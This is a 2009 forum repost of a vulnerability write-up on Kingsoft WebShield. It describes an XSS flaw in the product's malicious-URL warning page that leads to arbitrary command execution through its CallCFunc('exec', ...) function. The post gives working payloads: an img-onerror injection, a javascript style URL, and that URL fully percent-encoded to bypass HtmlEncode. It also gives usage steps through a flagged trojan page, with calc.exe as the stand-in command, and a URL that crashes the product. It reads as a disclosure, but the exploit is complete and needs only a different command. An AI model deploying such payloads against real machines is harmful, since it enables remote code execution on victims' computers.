WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2115查看
  • 0回复

主题

好友

126

积分

注册会员

发表于 2009-6-13 17:52:47 |显示全部楼层
小心使用金山网盾,以免沦为“肉鸡”~

漏洞函数原型:

C:\Program Files\Kingsoft\KSWebShieldSVC\script\popo6.htm

//68行 CallCFunc函数的第二个参数执行任意命令且可以带参数。

function callSetting()
{
parent.CallCFunc( "exec", "kwsmain.exe /showsetting" );
}


测试方法:

#xss=<img src=# onerror="parent.CallCFunc('exec','c:\\windows\\system32\\calc.exe')">

访问一个被拦截的网页木马,在URL后加入上面的注释。

http://192.168.128.1/ms06014.txt ... 5%78%65%27%29%22%3E

------------------------------------------------------

来源:http://hi.baidu.com/inking26/blo ... d707067aec2c8b.html


描述:

由于金山网盾对恶意地址的处理不严,攻击者通过构造一个普通的挂马页面和一个特殊的URL,可以使操作系统执行任何命令。

受影响的系统:

截至本文发布起的当前最新版本及其之前版本。

细节:

金山网盾的恶意提示部分UI是用网页代码编写的,在kwstray.exe得到恶意网址的时候,由于其处理方式的错误导致了XSS漏洞,同时利用软件中实现的某些功能,可以执行任何系统命令。具体分析如下:

在接收到恶意网址后,kwstray.exe采用了如下流程对字符进行了过滤处理

恶意网址 ——> HtmlEncode ——> unescape ——> 显示恶意信息

这个时候,假如攻击者估计在网址中包含html标签,那么很可能会导致XSS攻击。不过由于恶意网址首先进行了HtmlEncode处理,直接传入<script>之类的html标签会被过滤成[script],这样便使我们的攻击失败。绕过的方法为:首先将html标签进行escape,这样在进行HtmlEncode的时候网址不会有任何的改变,再经过unescape后html标签得到了还原,得以成功的插入js代码。具体的利用如下:

    首先构造一个恶意的页面,该页面可以是一个普通的挂马页面,只要能被金山网盾识别为恶意就行。

    然后构造一个恶意的url,里面包含我们要插入的html代码

http://localhost/index.php?html=<p style="background:url(javascript:parent.CallCFunc('exec','c:\\windows\\system32\\calc.exe' ))">test</p>

    接着将url的html部分进行escape加密

http://localhost/index.php?html=%3c%70%20%73%74%79%6c%65%3d%22%62%61%63%6b%67%72%6f%75%6e%64%3a%75%72%6c%28%6a%61%76%61%73%63%72%69%70%74%3a%70%61%72%65%6e%74%2e%43%61%6c%6c%43%46%75%6e%63%28%27%65%78%65%63%27%2c%27%63%3a%5c%5c%77%69%6e%64%6f%77%73%5c%5c%73%79%73%74%65%6d%33%32%5c%5c%63%61%6c%63%2e%65%78%65%27%20%29%29%22%3e%74%65%73%74%3c%2f%70%3e

    让浏览器去访问该恶意地址,这个时候网盾检测到网页中包含有恶意代码,于是将恶意地址报告给WebShield服务,WebShield服务接受到信息后启动一个kwstray.exe实例,并且将恶意地址附带上;kwstray.exe将得到的地址进行HtmlEncode处理,然后再进行unescape,最后将内容打印给用户,这个时候html标签成功插入网页中,并且开始执行恶意代码,弹出我们的计算器程序。

    在恶意地址中有如下js代码。

javascript:parent.CallCFunc('exec','c:\\windows\\system32\\calc.exe' )

CallCFunc是网盾自己实现的用于执行程序的函数,比如绿色气泡弹出的时候,如果点击确定,网页中的js会调用CallCFunc函数执行kwsmain.exe进程,用于启动配置界面。所以我们可以直接利用此函数运行我们的程序和命令。

其它:

    金山网盾在对恶意地址进行解码的时候,处理不当,通过传入特殊的url,可以使浏览器崩溃。最简单的崩溃方式:

http://localhost/index.php?test=a%

   当网盾在url中发现%号的时候,它会尝试着去进行解码,在解码过程中会导致崩溃。

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-16 03:27 , Processed in 0.065047 second(s), 16 queries .

返回顶部